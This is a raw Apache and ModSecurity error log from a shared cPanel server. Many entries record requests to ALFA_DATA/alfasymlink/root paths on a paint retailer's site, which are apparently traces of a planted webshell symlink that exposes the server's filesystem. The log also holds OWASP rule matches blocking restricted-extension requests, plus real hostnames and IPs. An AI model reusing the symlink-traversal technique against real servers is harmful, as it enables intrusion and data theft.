[Mon Oct 26 05:05:54.785063 2026] [core:error] [pid 3000185:tid 3000185] (13)Permission denied: [client 85.208.96.203:27122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/validate
[Mon Oct 26 05:05:54.785597 2026] [security2:error] [pid 3000185:tid 3000185] [client 85.208.96.203:27122] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/validate"] [unique_id "at8X8gDW2hE6vv9pQ57mkgAAACA"]
[Mon Oct 26 05:05:54.785627 2026] [security2:error] [pid 3000185:tid 3000185] [client 85.208.96.203:27122] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/validate"] [unique_id "at8X8gDW2hE6vv9pQ57mkgAAACA"]
[Mon Oct 26 05:05:58.183926 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 34.194.226.74:26548] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:05:59.789235 2026] [security2:error] [pid 3000174:tid 3000174] [client 107.172.76.131:52589] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8X6vEaLLDWHqkTH2BHIQAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:05:59.789291 2026] [security2:error] [pid 3000174:tid 3000174] [client 107.172.76.131:52589] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8X6vEaLLDWHqkTH2BHIQAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:06:02.174640 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 18.211.148.239:29331] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:06:06.128625 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 3.232.82.72:28435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:06:10.141302 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 44.210.204.255:3253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:06:18.164717 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 52.207.47.227:27785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:06:26.120764 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 54.147.80.137:20846] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:06:42.156982 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 34.206.249.188:54647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:06:44.973327 2026] [core:error] [pid 3000182:tid 3000182] (13)Permission denied: [client 85.208.96.212:64414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/red_zone
[Mon Oct 26 05:06:50.135158 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 23.23.99.55:47258] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:07:06.213935 2026] [proxy_fcgi:error] [pid 3002822:tid 3002822] [client 23.21.148.226:28837] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 05:07:10.137617 2026] [core:error] [pid 3003468:tid 3003468] (13)Permission denied: [client 54.235.191.179:45226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:09/subsystem/uevent
[Mon Oct 26 05:07:14.198351 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 44.209.89.189:5639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:07:23.978852 2026] [core:error] [pid 3003468:tid 3003468] (13)Permission denied: [client 185.191.171.12:46848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/objects_partial
[Mon Oct 26 05:07:34.118920 2026] [core:error] [pid 3000185:tid 3000185] (13)Permission denied: [client 100.29.155.89:54784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/cpu1/crash_notes
[Mon Oct 26 05:07:38.388342 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 34.234.206.30:30743] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:07:46.147399 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 18.232.36.1:13793] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory23/subsystem/devices/memory9/node0/cpu0/driver/cpu1/crash_notes
[Mon Oct 26 05:07:50.123339 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 52.45.15.233:20030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:08:26.198851 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 54.166.126.132:9266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:05/eject
[Mon Oct 26 05:08:38.137349 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 98.84.131.195:2747] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:08:42.171205 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.21.62.139:42572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:08:50.144168 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.152.163.42:36381] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:08:54.809257 2026] [security2:error] [pid 3000176:tid 3000176] [client 139.155.126.16:34662] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at8YporpcdEFF4fNJsnJaAAAABw"]
[Mon Oct 26 05:09:06.332791 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 54.197.178.107:50807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:09:10.125864 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.229.164.203:42144] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:09:14.181292 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 52.2.58.41:21177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:09:34.841922 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 85.208.96.206:36796] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf-frags/free_calls
[Mon Oct 26 05:09:42.184688 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 52.54.15.103:51506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:09:54.189519 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 3.223.134.5:59793] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:09:55.163360 2026] [core:error] [pid 3003467:tid 3003467] (13)Permission denied: [client 85.208.96.212:14806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/trace
[Mon Oct 26 05:09:58.126394 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 100.29.164.178:7730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:10:06.111482 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 3.214.176.44:31335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:10:10.159532 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 3.224.104.67:44997] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:10:18.127564 2026] [core:error] [pid 3000185:tid 3000185] (13)Permission denied: [client 54.85.7.119:8215] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory13/subsystem/drivers_probe
[Mon Oct 26 05:10:28.267598 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 85.208.96.203:12892] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:10:42.225332 2026] [security2:error] [pid 3000174:tid 3000174] [client 107.172.76.131:52589] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8ZBPEaLLDWHqkTH2BHNAAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:10:42.225385 2026] [security2:error] [pid 3000174:tid 3000174] [client 107.172.76.131:52589] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8ZBPEaLLDWHqkTH2BHNAAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:10:50.252339 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 44.208.193.63:49155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:10:54.138542 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 98.82.40.168:49385] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:10:58.149680 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 3.231.193.38:8875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:11:02.177646 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 3.229.2.217:58153] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:11:05.133492 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 85.208.96.211:40644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8k/ctor
[Mon Oct 26 05:11:06.181906 2026] [core:error] [pid 3003468:tid 3003468] (13)Permission denied: [client 44.207.207.36:3789] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/line
[Mon Oct 26 05:11:10.263344 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 52.2.4.213:23649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:11:34.196002 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 18.208.11.93:40763] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:03/physical_node/firmware_node/physical_node/rescan
[Mon Oct 26 05:11:42.277682 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 85.208.96.206:28662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:11:50.164910 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 23.23.214.190:30967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:12:02.150529 2026] [ssl:error] [pid 3000048:tid 3000048] (5)Input/output error: [client 44.218.6.93:37718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:12:06.217447 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 18.215.112.101:27343] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:0e/subsystem/drivers/thermal/unbind
[Mon Oct 26 05:12:09.291980 2026] [core:crit] [pid 3000185:tid 3000185] (13)Permission denied: [client 103.253.145.46:51017] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 05:12:14.136138 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.70.123.241:49820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:12:18.262507 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 54.210.152.179:42837] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:12:23.159880 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 85.208.96.211:57292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/cpu_partial
[Mon Oct 26 05:12:26.361338 2026] [core:error] [pid 3003467:tid 3003467] (13)Permission denied: [client 54.84.161.62:53329] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/firmware_node/physical_node/crash_notes_size
[Mon Oct 26 05:12:30.152052 2026] [security2:error] [pid 3000176:tid 3000176] [client 34.202.88.37:64654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/module/parameters/"] [unique_id "at8ZforpcdEFF4fNJsnJcQAAABw"]
[Mon Oct 26 05:12:30.152115 2026] [security2:error] [pid 3000176:tid 3000176] [client 34.202.88.37:64654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/module/parameters/"] [unique_id "at8ZforpcdEFF4fNJsnJcQAAABw"]
[Mon Oct 26 05:12:38.150279 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 184.72.84.154:63854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:12:42.218374 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 44.223.193.255:36205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:12:46.227660 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 34.192.67.98:2937] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:12:54.383531 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.203.111.15:41025] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:12:59.233060 2026] [security2:error] [pid 3003467:tid 3003467] [client 16.216.88.253:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "at8Zm5uIQjmomBX6543VMgAAAAA"]
[Mon Oct 26 05:12:59.233574 2026] [security2:error] [pid 3003467:tid 3003467] [client 16.216.88.253:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "at8Zm5uIQjmomBX6543VMgAAAAA"]
[Mon Oct 26 05:12:59.234014 2026] [security2:error] [pid 3003467:tid 3003467] [client 16.216.88.253:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/195_mod_expires.conf"] [unique_id "at8Zm5uIQjmomBX6543VMgAAAAA"]
[Mon Oct 26 05:13:11.509336 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.204.174.139:8696] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:13:22.506544 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 54.163.136.244:44056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/rescan
[Mon Oct 26 05:13:26.169448 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 52.6.232.201:41314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:13:46.171607 2026] [ssl:error] [pid 3003467:tid 3003467] (70014)End of file found: [client 52.4.229.9:10582] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:13:54.144492 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 100.27.153.9:12115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:13:57.150203 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 85.208.96.195:41484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/cache_dma
[Mon Oct 26 05:14:10.302021 2026] [core:error] [pid 3000182:tid 3000182] (13)Permission denied: [client 3.212.205.90:26911] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/firmware_node/physical_node/crash_notes
[Mon Oct 26 05:14:14.134750 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 34.195.248.30:28546] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:14:18.133013 2026] [security2:error] [pid 3003467:tid 3003467] [client 34.195.60.66:17681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/virtio0/"] [unique_id "at8Z6puIQjmomBX6543VNgAAAAA"]
[Mon Oct 26 05:14:18.133057 2026] [security2:error] [pid 3003467:tid 3003467] [client 34.195.60.66:17681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:03.0/virtio0/"] [unique_id "at8Z6puIQjmomBX6543VNgAAAAA"]
[Mon Oct 26 05:14:50.313818 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 44.205.120.22:60008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:14:54.137333 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 98.82.107.102:54817] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:14.126207 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 3.215.59.93:55448] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:18.160782 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 44.216.172.204:7795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:23.572632 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 85.208.96.202:16602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/aliases
[Mon Oct 26 05:15:26.226928 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 184.73.239.35:51979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:34.201360 2026] [ssl:error] [pid 3003468:tid 3003468] (70014)End of file found: [client 54.85.109.140:13796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:38.151626 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 44.205.192.249:5970] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:38.151853 2026] [security2:error] [pid 2993961:tid 2993961] [client 44.205.192.249:5970] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/enable"] [unique_id "at8aOhJqpTbSe9f2_suBgwAAAAc"]
[Mon Oct 26 05:15:38.151896 2026] [security2:error] [pid 2993961:tid 2993961] [client 44.205.192.249:5970] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/enable"] [unique_id "at8aOhJqpTbSe9f2_suBgwAAAAc"]
[Mon Oct 26 05:15:42.133332 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 52.203.237.170:22947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:46.138584 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.4.229.9:18155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:50.129739 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 52.205.113.104:2541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:15:58.319447 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 85.208.96.205:41666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:16:01.419184 2026] [security2:error] [pid 3000155:tid 3000155] [client 216.244.66.250:59942] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/PHPMailer/language/"] [unique_id "at8aUcSU-1yln6Gx7K9BdAAAABE"]
[Mon Oct 26 05:16:01.419250 2026] [security2:error] [pid 3000155:tid 3000155] [client 216.244.66.250:59942] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/PHPMailer/language/"] [unique_id "at8aUcSU-1yln6Gx7K9BdAAAABE"]
[Mon Oct 26 05:16:02.304901 2026] [security2:error] [pid 3003467:tid 3003467] [client 184.73.167.217:4902] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/slots/13/module/parameters/"] [unique_id "at8aUpuIQjmomBX6543VNwAAAAA"]
[Mon Oct 26 05:16:02.304940 2026] [security2:error] [pid 3003467:tid 3003467] [client 184.73.167.217:4902] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/slots/13/module/parameters/"] [unique_id "at8aUpuIQjmomBX6543VNwAAAAA"]
[Mon Oct 26 05:16:10.311046 2026] [ssl:error] [pid 3002822:tid 3002822] (22)Invalid argument: [client 184.73.35.182:10923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:16:18.448642 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 23.21.175.228:30330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/remove
[Mon Oct 26 05:16:21.915769 2026] [security2:error] [pid 3003468:tid 3003468] [client 16.216.88.253:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "at8aZToMefr8xIwXotdCBAAAAAI"]
[Mon Oct 26 05:16:21.916316 2026] [security2:error] [pid 3003468:tid 3003468] [client 16.216.88.253:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/405_mod_slotmem_shm.conf"] [unique_id "at8aZToMefr8xIwXotdCBAAAAAI"]
